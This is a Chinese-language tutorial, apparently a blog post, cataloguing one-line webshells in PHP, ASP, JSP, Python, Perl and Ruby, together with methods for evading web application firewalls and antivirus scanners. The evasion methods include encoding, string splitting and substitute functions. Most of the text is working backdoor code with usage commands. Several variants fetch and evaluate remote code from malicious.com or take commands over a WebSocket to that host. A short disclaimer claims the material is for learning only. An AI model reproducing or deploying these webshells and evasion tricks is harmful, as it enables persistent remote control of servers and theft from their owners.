一句话木马-类型/绕过/变异/免杀

2024 年 11 月 4 日 星期一
/
41

一句话木马-类型/绕过/变异/免杀

免责声明
本平台发布的所有内容仅供学习和参考之用。
如有任何 非法不当用途,责任由使用者 自行承担,与平台及本文作者 无关

--- ⚡ 请遵守相关法律法规,合理使用,享受学习的乐趣!⚡

什么是一句话木马

一句话木马是一种简短的恶意Web代码,通常通过上传或注入的方式嵌入到Web服务器中,攻击者可以通过它在服务器上远程执行命令。它的特点是代码简短、隐蔽性强,适用于Web入侵和控制。

常见的一句话木马类型

  • PHP 一句话木马
    PHP语言支持广泛,因此PHP一句话木马最为常见。常用的PHP木马代码如下:
<?php @eval($_POST['cmd']); ?>

通过POST请求传递cmd参数的代码并执行。@符号用于隐藏错误提示。
使用方法:上传到服务器,通过POST请求传递恶意命令,例如:

curl -d "cmd=system('ls');" http://target/shell.php
变种1:Base64编码
<?php @eval(base64_decode($_POST['cmd'])); ?>

效果:通过base64编码绕过简单的字符串检测。例如,POST数据可以是: cmd=c3lzdGVtKCdscycpOw==,对应的是system('ls');。

变种2:动态函数调用
<?php call_user_func('system', $_GET['cmd']); ?>

效果:通过call_user_func函数动态调用命令执行函数,如system,避免直接使用常见的eval。

  • ASP 一句话木马
<%
    eval request("cmd")
%>

解释:通过request("cmd")获取并执行传入的命令。

变种1:Shell对象
<%
    Set shell = CreateObject("WScript.Shell")
    shell.Run Request("cmd")
%>

效果:利用Windows Script Host执行系统命令。

  • JSP 一句话木马
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

解释:通过request.getParameter("cmd")执行传入的系统命令。

变种:输出命令结果
<%
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    java.io.InputStream in = p.getInputStream();
    int a = -1;
    while((a=in.read())!=-1){
        out.print((char)a);
    }
%>

效果:执行命令并将结果输出到网页上。

  • Python 一句话木马
import os; os.system(request.args.get('cmd'))

解释:通过Flask或Django的request.args.get获取cmd参数并执行系统命令。

变种:子进程调用
import subprocess; subprocess.run(request.args.get('cmd'), shell=True)

效果:使用subprocess模块执行命令,支持更多的系统调用选项。

  • Perl 一句话木马
print `$_GET{'cmd'}`;

解释:通过反引号执行系统命令,并将结果输出到网页。

  • Ruby一句话木马
system(params[:cmd])

解释:从请求参数中获取cmd并执行系统命令。

绕过安全狗的常用方法

安全狗是常见的Web防护软件之一,专注于防止恶意代码上传和执行。以下是几种常见的绕过安全狗的方法:

  • 代码混淆与编码
    通过混淆代码结构,增加解码步骤,绕过基于特征的检测:
<?php @eval(base64_decode($_POST['cmd'])); ?>

效果:通过base64解码传入的命令,原始代码未被直接暴露。

  • 非法字符替换
    利用字符替换的方法躲避过滤器的检测,例如替换eval中的某些字符:
<?php $a = 'e'.'v'.'a'.'l'; $a($_POST['cmd']); ?>

效果:通过将eval拼接成动态字符串,使检测规则无法精确匹配。

  • 函数变种
    使用类似的PHP内置函数来代替常见的命令执行函数,例如:
<?php assert($_POST['cmd']); ?>

效果:assert函数在功能上类似于eval,可以执行PHP代码,但可能不会被检测规则识别。

  • 利用数组执行
<?php array_map('system', $_POST['cmd']); ?>

效果:使用array_map函数来调用系统命令执行。

变异与无特征隐藏

  • 动态变异
    通过使用随机生成的函数名或变量名来绕过基于特征码的检测。例如:
<?php ${'_' . strtoupper('POST')}['cmd'](); ?>

效果:通过动态生成$_POST变量,隐藏常见特征。

  • 代码混淆
    使用混淆后的代码使得特征匹配失效:
<?php $cmd = $_POST['cmd']; @eval($cmd); ?>

效果:通过将代码逻辑打散,增加动态性,绕过特征检测。

  • 动态执行
    通过动态生成或拼接代码字符串,减少被特征库匹配到的几率:
<?php $code = base64_decode('ZWNobyAiU3VjY2Vzc2Z1bGx5IGV4ZWN1dGVkISIgOw=='); eval($code); ?>

效果:运行时解码并执行命令,原始代码在静态分析中不可见。

  • 无特征隐藏
    使用更复杂的代码结构,避免常见的检测特征:
<?php
$func = create_function('$cmd', 'eval($cmd);');
$func($_POST['cmd']);
?>

效果:利用匿名函数动态执行命令,避免直接使用eval等高危函数。

超级隐蔽与免杀技术

  • 隐藏在图片文件中
    将恶意代码隐藏在图片文件中,通过文件处理函数读取:
<?php @eval(file_get_contents('http://malicious.com/shell.php')); ?>

效果:通过远程获取恶意代码,避免将恶意代码直接存储在服务器本地。

  • 动态生成和执行
    利用PHP的动态生成机制,生成并执行恶意代码:
<?php
$code = "ZWNobyAiU3VjY2Vzc2Z1bGx5IGV4ZWN1dGVkISIgOw==";
eval(base64_decode($code));
?>

效果:将代码加密,并在运行时解密执行,难以静态分析。

  • 通过合法流量执行
    将恶意代码隐藏在正常的网络流量中,例如图片或样式表的请求:
<img src="http://target/shell.php?cmd=ls">

效果:使用普通的HTTP请求传递命令,伪装成正常的资源请求。

  • CDN 或外部资源调用
    通过CDN或外部服务器加载恶意代码,减少本地文件的恶意痕迹:
<script src="http://malicious.com/shell.js"></script>

效果:恶意代码被托管在外部服务器,远程加载并执行,减小本地文件的暴露。

  • 使用WebSocket或长连接
    通过WebSocket或其他长连接通道传递命令,绕过传统的HTTP请求检测机制:
var ws = new WebSocket('ws://malicious.com:8080');
ws.onmessage = function(event) { eval(event.data); };

效果:通过长连接动态接收并执行恶意命令,较难被防火墙监控。

使用社交账号登录

  • Loading...
  • Loading...
  • Loading...
  • Loading...
  • Loading...